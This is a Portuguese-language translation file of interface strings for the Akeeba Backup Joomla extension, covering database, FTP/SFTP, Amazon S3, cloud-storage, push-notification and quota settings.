COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_DESCRIPTION="Selecione o controlador de base de dados a usar ao ligar à base de dados do sítio. Só é usado quando a caixa de verificação de substituição da base de dados do sítio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_TITLE="Controlador da base de dados"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_DESCRIPTION="O nome do host ou endereço IP do servidor de base de dados. Normalmente localhost ou 127.0.0.1. Só é usado quando a caixa de verificação de substituição da base de dados do sítio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_TITLE="Nome do host do servidor de base de dados"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_DESCRIPTION="A palavra-passe para ligar à base de dados do sítio. Só é usada quando a caixa de verificação de substituição da base de dados do sítio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_TITLE="Palavra-passe"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_DESCRIPTION="(opcional) A porta que o servidor de base de dados escuta. Se tiver dúvidas, deixe esta opção vazia para usar a porta predefinida (3306 para servidores MySQL). Só é usada quando a caixa de verificação de substituição da base de dados do sítio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_TITLE="Porta do servidor de base de dados"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_DESCRIPTION="O prefixo da base de dados a copiar incluindo o sublinhado, por exemplo <code>ex4m_</code>. Só é usado quando a caixa de verificação de substituição da base de dados do sítio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_TITLE="Prefixo"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_TITLE="Ligar com um certificado SSL"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_DESCRIPTION="Devemos ligar à base de dados usando um certificado SSL? Isto pode ser usado em vez da autenticação por nome de utilizador e palavra-passe (ligação encriptada com autenticação por certificado) ou <em>em adição</em> à autenticação por nome de utilizador e palavra-passe (ligação encriptada com autenticação por palavra-passe). Se não sabe o que isto significa, defina esta opção como Não e ignore também as próximas opções."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_TITLE="Métodos de Encriptação SSL/TLS"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_DESCRIPTION="Introduza uma lista de métodos de encriptação para ligar com certificados SSL, separados por dois pontos. Se deixado vazio, será usada a lista predefinida (<code>AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-CBC-SHA256:AES256-CBC-SHA384:DES-CBC3-SHA</code>) (recomendado)."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_TITLE="Ficheiro da Autoridade de Certificação (CA)"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_DESCRIPTION="Caminho absoluto do ficheiro para o ficheiro PEM do certificado da Autoridade de Certificação (CA) do seu servidor de base de dados, por exemplo <code>/home/myuser/ca.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_TITLE="Ficheiro de Chave Privada do utilizador da base de dados"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_DESCRIPTION="Caminho absoluto do ficheiro para o ficheiro PEM da chave privada do seu utilizador da base de dados, por exemplo <code>/home/myuser/myuser-key.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_TITLE="Ficheiro de Chave Pública (Certificado) do utilizador da base de dados"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_DESCRIPTION="Caminho absoluto do ficheiro para o ficheiro PEM da chave pública (certificado) do seu utilizador da base de dados, por exemplo <code>/home/myuser/myuser.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_TITLE="Verificar certificado do servidor"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_DESCRIPTION="Defina como Sim para verificar o certificado que o servidor nos devolve. Isto é verificado em relação ao ficheiro da Autoridade de Certificação (CA) que especificou. Se obtiver erros de ligação, defina isto como Não; algumas configurações (especialmente as geradas pelo <code>mysql_ssl_rsa_setup</code>) podem não permitir uma ligação se a verificação de certificação estiver ativada. Se ativar a verificação e o campo do ficheiro CA for deixado em branco, o certificado do servidor será verificado em relação aos ficheiros da Autoridade de Certificação que o seu servidor conhece, consulte as opções PHP <code>openssl.cafile</code> e <code>openssl.capath</code>."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_DESCRIPTION="O nome de utilizador para ligar à base de dados do sítio. Só é usado quando a caixa de verificação de substituição da base de dados do sítio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_TITLE="Nome de utilizador"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_DESCRIPTION="Quando tiver ativado a opção Substituição da Raiz do Sítio acima, o Akeeba Backup fará cópia de segurança de todos os ficheiros e diretórios sob esta raiz do sítio"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_TITLE="Forçar Raiz do Sítio"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_DESCRIPTION="Quando está desmarcado (predefinição), o Akeeba Backup fará automaticamente cópia de segurança da base de dados à qual o sítio onde está instalado se liga (a sua base de dados Joomla!). Quando marcado, fará cópia de segurança de uma base de dados diferente, usando os detalhes de ligação que fornecer abaixo."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_TITLE="Substituição da base de dados do sítio"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_DESCRIPTION="Quando está desmarcado (predefinição), o Akeeba Backup fará cópia de segurança de todos os ficheiros e diretórios sob a raiz do sítio onde está instalado. Quando ativado, fará cópia de segurança dos ficheiros e diretórios sob o diretório selecionado em Forçar Raiz do Sítio abaixo."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_TITLE="Substituição da raiz do sítio"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_DESCRIPTION="Se ativado, o Akeeba Backup tentará ligar-se ao seu servidor FTP usando uma ligação encriptada por SSL. <strong>Isto não é o mesmo que SFTP, SCP ou \"FTP Seguro\"!</strong> Note que se o seu servidor não suportar este método obterá erros de ligação."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_TITLE="Usar FTP sobre SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_DESCRIPTION="Nome do host do servidor FTP, sem o protocolo. Isto significa que <code>ftp://example.com</code> é <strong>inválido</strong> e <code>example.com</code> é válido. Este motor só suporta servidores FTP e FTPS. <u>Não</u> suporta SFTP, SCP e outras variantes de SSH."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_TITLE="Nome do host"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_DESCRIPTION="O caminho <strong>FTP</strong> absoluto para o diretório onde os ficheiros serão enviados. Se tiver dúvidas, ligue-se ao seu servidor com o FileZilla, navegue até ao diretório pretendido e copie o caminho que aparece no painel do lado direito acima da lista de diretórios. É normalmente algo curto, como <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_TITLE="Diretório inicial"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_DESCRIPTION="O caminho relativo para o diretório inicial, será criado se não existir. Deixe vazio para enviar os arquivos diretamente para dentro do diretório inicial. Pode usar as seguintes macros:<ul><li><strong>[HOST]</strong> O nome do host. AVISO! Esta etiqueta não funciona em modo CRON.</li><li><strong>[DATE]</strong> Data atual</li><li><strong>[TIME]</strong> Hora atual</li></ul>Estão disponíveis mais; por favor consulte a documentação."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_TITLE="Subdiretório"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_DESCRIPTION="Usar o modo passivo do FTP ao transferir dados. Isto está ativado por predefinição, pois é o único método que funciona através de firewalls comummente instaladas em servidores web. Não desative a menos que tenha a certeza de que o seu servidor web não está atrás de uma firewall e que o seu servidor FTP requer absolutamente transferências de ficheiros em modo Ativo."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_TITLE="Usar modo passivo"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_DESCRIPTION="Palavra-passe do servidor FTP. É normalmente sensível a maiúsculas e minúsculas. Se tiver dúvidas, por favor contacte o seu administrador de rede."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_TITLE="Palavra-passe"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_DESCRIPTION="Porta do servidor FTP. A definição mais comum é 21. Se tiver dúvidas, por favor contacte o seu administrador de rede."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_TITLE="Porta"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_DESCRIPTION="Use este botão para testar a ligação FTP e ver os erros de ligação em caso de falha."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_TITLE="Testar ligação FTP"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_DESCRIPTION="Nome de utilizador do servidor FTP. É normalmente sensível a maiúsculas e minúsculas. Se tiver dúvidas, por favor contacte o seu administrador de rede."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_TITLE="Nome de utilizador"
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_DESCRIPTION="Quando ativado, o Akeeba Backup executará o motor de pós-processamento em cada parte assim que esta estiver completa. Quando desativado, o Akeeba Backup executará o pós-processamento de todas as partes no final do processo de cópia de segurança."
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_TITLE="Processar cada parte imediatamente"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_DESCRIPTION="Nome do host do servidor SFTP, sem o protocolo. Isto significa que <code>sftp://example.com</code> ou <code>ssh://example.com</code> é <strong>inválido</strong> e NÃO deve ser usado, mas <code>example.com</code> é válido e DEVE ser usado. Este motor só suporta servidores SFTP (SSH). <u>Não</u> suporta FTP, FTPS ou qualquer outra variante de FTP. Requer que a extensão SSH2 do PHP esteja instalada e ativada."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_TITLE="Nome do host"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_DESCRIPTION="O caminho <strong>SFTP</strong> absoluto (normalmente o mesmo que o caminho do sistema de ficheiros) para o diretório onde os ficheiros serão enviados. Se tiver dúvidas, ligue-se ao seu servidor com o FileZilla, navegue até ao diretório pretendido e copie o caminho que aparece no painel do lado direito acima da lista de diretórios. É normalmente algo longo, como <code>/home/myuser/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_TITLE="Diretório inicial"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_DESCRIPTION="Palavra-passe do servidor SFTP. É normalmente sensível a maiúsculas e minúsculas. Se tiver dúvidas, por favor contacte o seu administrador de rede."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_TITLE="Palavra-passe"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_DESCRIPTION="Porta do servidor SFTP. A definição mais comum é 22. Se tiver dúvidas, por favor contacte o seu administrador de rede."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_TITLE="Porta"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_DESCRIPTION="LEIA A DOCUMENTAÇÃO ANTES DE USAR. O caminho absoluto do sistema de ficheiros para um ficheiro de chave privada RSA / DSA usado para ligar ao servidor remoto. Se estiver encriptado, introduza a frase-passe no campo da palavra-passe acima. Se não faz ideia do que isto é, ou se acha que tem de pedir suporte sobre isto, deixe-o em branco e não nos pergunte sobre isto."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_TITLE="Ficheiro de Chave Privada (avançado)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_DESCRIPTION="LEIA A DOCUMENTAÇÃO ANTES DE USAR. O caminho absoluto do sistema de ficheiros para um ficheiro de chave pública RSA / DSA usado para ligar ao servidor remoto. Se não faz ideia do que isto é, ou se acha que tem de pedir suporte sobre isto, deixe-o em branco e não nos pergunte sobre isto."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_TITLE="Ficheiro de Chave Pública (avançado)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_DESCRIPTION="Use este botão para testar a ligação SFTP e ver os erros de ligação em caso de falha."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_TITLE="Testar ligação SFTP"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_DESCRIPTION="Nome de utilizador do servidor SFTP. É normalmente sensível a maiúsculas e minúsculas. Se tiver dúvidas, por favor contacte o seu administrador de rede."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_TITLE="Nome de utilizador"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_DESCRIPTION="O diretório dentro da sua conta iDriveSync onde os arquivos de cópia de segurança serão guardados. Deixe em branco ou defina como / para guardar os ficheiros na raiz da sua conta."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_DESCRIPTION="A partir de meados de 2016, os novos utilizadores têm de usar o novo endpoint da API"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_TITLE="Usar o novo endpoint"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_DESCRIPTION="A sua palavra-passe iDriveSync"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_TITLE="Palavra-passe"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_DESCRIPTION="A sua chave privada iDriveSync. Apenas se já estiver a usar uma chave privada na sua conta iDriveSync."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_TITLE="Chave privada (opcional)"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_DESCRIPTION="O nome de utilizador ou endereço de e-mail que usou para subscrever o iDriveSync"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_TITLE="Nome de utilizador ou e-mail"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_DESCRIPTION="O endereço de e-mail para onde os ficheiros de cópia de segurança serão enviados"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_TITLE="Endereço de e-mail"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_DESCRIPTION="O assunto do e-mail (opcional). Esta opção está aqui principalmente para o ajudar a distinguir entre cópias de segurança de vários sítios."
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_TITLE="Assunto do e-mail"
COM_AKEEBABACKUP_CONFIG_PROCENGINE_DESCRIPTION="Os motores de pós-processamento permitem ao Akeeba Backup transferir as partes finalizadas do arquivo de cópia de segurança para outros servidores e fornecedores de armazenamento remoto."
COM_AKEEBABACKUP_CONFIG_PROCENGINE_TITLE="Motor de pós-processamento"
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_DESC="Vá a https://www.pushbullet.com/account e copie o Access Token dessa página para a caixa de texto aqui. É usado para enviar mensagens push para a sua conta. Pode colar vários tokens separados por vírgulas. Nota: o Access Token é visível para todas as pessoas que têm acesso a esta página de configuração."
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_LABEL="Access Token do Pushbullet"
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_DESC="Aqui pode configurar notificações push para eventos de cópia de segurança a serem enviadas diretamente para o seu telemóvel, tablet, portátil ou computador de secretária. Precisa de transferir primeiro a aplicação gratuita de terceiros <a href='http://pushbullet.com/'>Pushbullet</a>."
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_LABEL="Notificações Push"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_DESC="Deve o Akeeba Backup enviar-lhe notificações e, se sim, como? Se selecionar Web Push, guarde estas opções e volte à página do Painel de Controlo. Verá uma nova área de Notificação Push abaixo dos Ícones Rápidos de cópia de segurança onde pode gerir as notificações push para o seu navegador."
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_LABEL="Notificações push"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_NONE="Desativado"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_PUSHBULLET="PushBullet"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_WEBPUSH="Web Push (API do navegador)"
COM_AKEEBABACKUP_CONFIG_QUICKICON_DESC="Quando marcado, o Akeeba Backup apresentará um ícone de cópia de segurança com um clique no topo da página do Painel de Controlo. Clicar nele ativará este perfil e realizará uma cópia de segurança sem qualquer outra ação necessária da sua parte."
COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL="Ícone de cópia de segurança com um clique"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_TITLE="A cópia de segurança atual participa nas quotas de ficheiros remotos"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_DESCRIPTION="Quando ativado, a cópia de segurança que está em curso participa nas quotas de ficheiros remotos. Isto pode ser problemático; se a cópia de segurança for parcialmente enviada para o armazenamento remoto e as definições de quota forem tais que apenas a cópia de segurança mais recente é preservada, poderá ficar sem uma cópia de segurança válida armazenada remotamente. Desativá-lo tornará menos provável que fique sem uma cópia de segurança válida no armazenamento remoto, à custa de armazenar mais um arquivo de cópia de segurança remotamente."
COM_AKEEBABACKUP_CONFIG_LOCAL_HEAD="Quotas de Ficheiros Locais"
COM_AKEEBABACKUP_CONFIG_REMOTE_HEAD="Quotas de Ficheiros Remotos"
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_DESCRIPTION="Isto define quão conservador o Akeeba Backup será ao tentar evitar um tempo limite. Quanto menor este valor, mais conservador se torna. Se obtiver erros de tempo limite, por favor tente reduzir tanto o Tempo Máximo de Execução como esta definição.<strong>Dica</strong>: Selecione Personalizado e escreva o valor pretendido se não estiver na lista."
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_TITLE="Viés de tempo de execução"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_DESCRIPTION="A sua Chave de Acesso Amazon S3, disponibilizada na página do seu perfil pessoal Amazon Web Services"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_TITLE="Chave de Acesso"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_DESCRIPTION="O nome do seu bucket Amazon S3"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_DESCRIPTION="Para uso com serviços de armazenamento de terceiros que implementam uma API compatível com S3. Introduza o endpoint (URL da API) da API compatível com S3 do serviço de armazenamento de terceiros. IMPORTANTE: Se estiver a usar o Amazon S3, <strong>DEVE DEIXAR ISTO EM BRANCO</strong>."
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_TITLE="Endpoint personalizado"
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_DESCRIPTION="O diretório dentro do seu bucket onde os arquivos de cópia de segurança serão guardados. Deixe em branco para guardar os ficheiros na raiz do bucket."
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_S3_ACL_TITLE="Permissões de ficheiro (ACLs)"
COM_AKEEBABACKUP_CONFIG_S3_ACL_DESCRIPTION="Escolha as permissões do ficheiro enviado. Na maioria dos casos “Privado”, ou “O proprietário do bucket pode ler” são as escolhas mais apropriadas. Se estiver a usar um serviço de terceiros compatível com S3, poderá querer usar “Privado” em vez da definição predefinida."
COM_AKEEBABACKUP_CONFIG_S3_ACL_PRIVATE="Privado"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ="Qualquer pessoa pode ler"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ_WRITE="Qualquer pessoa pode ler e escrever"
COM_AKEEBABACKUP_CONFIG_S3_ACL_AUTHENTICATED_READ="Utilizadores IAM autenticados podem ler"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_READ="O proprietário do bucket pode ler"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_FULL_CONTROL="O proprietário do bucket tem controlo total"
COM_AKEEBABACKUP_CONFIG_S3LEGACY_DESCRIPTION="Quando ativado, todos os envios para o Amazon S3 serão forçados a ser de parte única. Use isto se obtiver erros RequestTimeout do motor S3 ao enviar partes da cópia de segurança."
COM_AKEEBABACKUP_CONFIG_S3LEGACY_TITLE="Desativar envios multiparte"
COM_AKEEBABACKUP_CONFIG_S3RRS_DESCRIPTION="Selecione a classe de armazenamento para os seus dados. Standard é o armazenamento regular para dados críticos para o negócio. Por favor consulte a documentação do Amazon S3 para a descrição de cada classe de armazenamento."
COM_AKEEBABACKUP_CONFIG_S3RRS_TITLE="Classe de armazenamento"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_DESCRIPTION="A sua Chave Secreta Amazon S3, disponibilizada na página do seu perfil pessoal Amazon Web Services"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_TITLE="Chave Secreta"
COM_AKEEBABACKUP_CONFIG_S3USESSL_DESCRIPTION="Se ativado, será usada uma ligação segura (HTTPS) ao enviar os seus ficheiros. Embora aumente a segurança dos dados transferidos, também aumenta a possibilidade de falha da cópia de segurança devido a tempo limite."
COM_AKEEBABACKUP_CONFIG_S3USESSL_TITLE="Usar SSL"
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_DESCRIPTION="Devemos usar os endpoints dual-stack para o Amazon S3? Isto permite aceder ao S3 sobre IPv6 para servidores que suportam IPv6. Servidores sem suporte IPv6 ainda poderão aceder ao S3 sobre IPv4. Não tem efeito se estiver a usar um endpoint personalizado."
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_TITLE="Ativar suporte IPv6 (dual-stack)"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_TITLE="Formato de data alternativo"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_DESCRIPTION="Desative esta definição apenas se o suporte lhe pedir para o fazer."
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_TITLE="Usar o cabeçalho HTTP Date em vez de X-Amz-Date"
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_DESCRIPTION="Ative esta definição apenas se o suporte lhe pedir para o fazer."
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_TITLE="Incluir o nome do bucket nos URLs v4 pré-assinados"
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_DESCRIPTION="Ative esta definição apenas se o suporte lhe pedir para o fazer."
COM_AKEEBABACKUP_CONFIG_SAVENEW_DEFAULT_PROFILE_NAME="Novo perfil de cópia de segurança"
COM_AKEEBABACKUP_CONFIG_SAVE_OK="A configuração foi guardada"
COM_AKEEBABACKUP_CONFIG_SCANENGINE_DESCRIPTION="Define como o Akeeba Backup percorrerá os ficheiros e pastas do seu sítio de forma a determinar quais devem ser incluídos na cópia de segurança."
COM_AKEEBABACKUP_CONFIG_SCANENGINE_TITLE="Motor de análise do sistema de ficheiros"
COM_AKEEBABACKUP_CONFIG_SECRETWORD_DESC="Esta palavra-passe será usada com as funcionalidades de Cópia de Segurança no Frontend (API Legada) e JSON API para as proteger contra acesso não autorizado. O Akeeba Backup NÃO ativará estas funcionalidades a menos que use aqui uma palavra-passe longa e complexa. Consulte a documentação para mais informações."
COM_AKEEBABACKUP_CONFIG_SECRETWORD_LABEL="Palavra secreta"
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_DESCRIPTION="Quando ativado, as definições de configuração são encriptadas usando a encriptação AES-128 padrão da indústria."
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_LABEL="Usar encriptação"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_LABEL="Sem flush()"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_DESCRIPTION="Desativa o uso de flush() durante as operações AJAX. Ative apenas em servidores muito defeituosos onde a cópia de segurança nem sequer começa."
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_LABEL="Caminho PHP-CLI preciso"
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_DESCRIPTION="Ative para que o Akeeba Backup tente detetar o caminho PHP-CLI preciso no seu servidor. Desative se o seu servidor não o permitir fazer isso, bloqueando o seu endereço IP do seu sítio durante vários minutos a horas quando isto acontece (por exemplo, IONOS)."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_BADPREFIX="NÃO deve adicionar o prefixo sftp:// ao Nome do Host SFTP. Por favor remova o prefixo sftp:// e tente novamente."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_NOUPLOAD="O Akeeba Backup conseguiu ligar-se ao seu servidor, mas não conseguiu enviar um ficheiro de teste. O envio da cópia de segurança pode falhar."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION="Quando ativado, o Akeeba Backup apagará ficheiros de cópia de segurança antigos se o tamanho total dos arquivos de cópia de segurança exceder o valor definido abaixo. Esta definição é aplicada <strong>por perfil</strong>."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_TITLE="Ativar quota por tamanho"
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION="Se o tamanho total dos arquivos de cópia de segurança realizados com o perfil atual exceder este limite, as cópias de segurança mais antigas serão eliminadas do servidor.<br/><br/><strong>Dica</strong>: Selecione Personalizado e escreva o valor pretendido se não estiver na lista."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_TITLE="Quota por tamanho"
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_DESCRIPTION="Os despejos da sua base de dados serão divididos em pequenos ficheiros para melhorar a compressão e evitar problemas de tamanho de ficheiro em certos alojamentos económicos. Idealmente, deverá usar metade do tamanho do seu Limiar de Ficheiro Grande. Defina como 0 para desativar a divisão e criar um único ficheiro de despejo enorme por base de dados."
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_TITLE="Tamanho para ficheiros de despejo SQL divididos"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_DESCRIPTION="Introduza o seu Access Key ID. Crie um em https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_TITLE="Access Key ID"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_DESCRIPTION="Em que diretório guardar os ficheiros de cópia de segurança. Se a primeira parte do diretório não corresponder ao nome de uma pasta de sincronização do SugarSync, o diretório será criado dentro da sua pasta Magic Briefcase. Pode usar as mesmas variáveis que usa para nomes de arquivos de cópia de segurança, por exemplo [HOST] para o nome de domínio do seu sítio ou [DATE] para a data atual."
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_DESCRIPTION="O endereço de e-mail da sua conta SugarSync"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_TITLE="E-mail"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_DESCRIPTION="A palavra-passe da sua conta SugarSync"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_TITLE="Palavra-passe"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_DESCRIPTION="Introduza a Private Access Key correspondente ao seu Access Key ID. Crie uma em https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_TITLE="Private Access Key"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_DESCRIPTION="O endpoint para o serviço Keystone da sua instalação OpenStack. INCLUA a versão. NÃO inclua o sufixo /token. Exemplo: https://authentication.example.com/v2.0"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_TITLE="URL de Autenticação"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_DESCRIPTION="O endpoint da API para o seu contentor de armazenamento de objetos, por exemplo https://storage.example.com/v1/AUTH_abcdef0123456789abcdef0123456789/my-container"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_TITLE="URL do Contentor"
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_DESCRIPTION="O diretório dentro do contentor de armazenamento de objetos OpenStack Swift para guardar os arquivos de cópia de segurança. Para guardar tudo na raiz do contentor, por favor deixe em branco."
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_TITLE="Diretório"
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_DESCRIPTION="A palavra-passe da API OpenStack para a sua nuvem."
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_TITLE="Palavra-passe OpenStack"
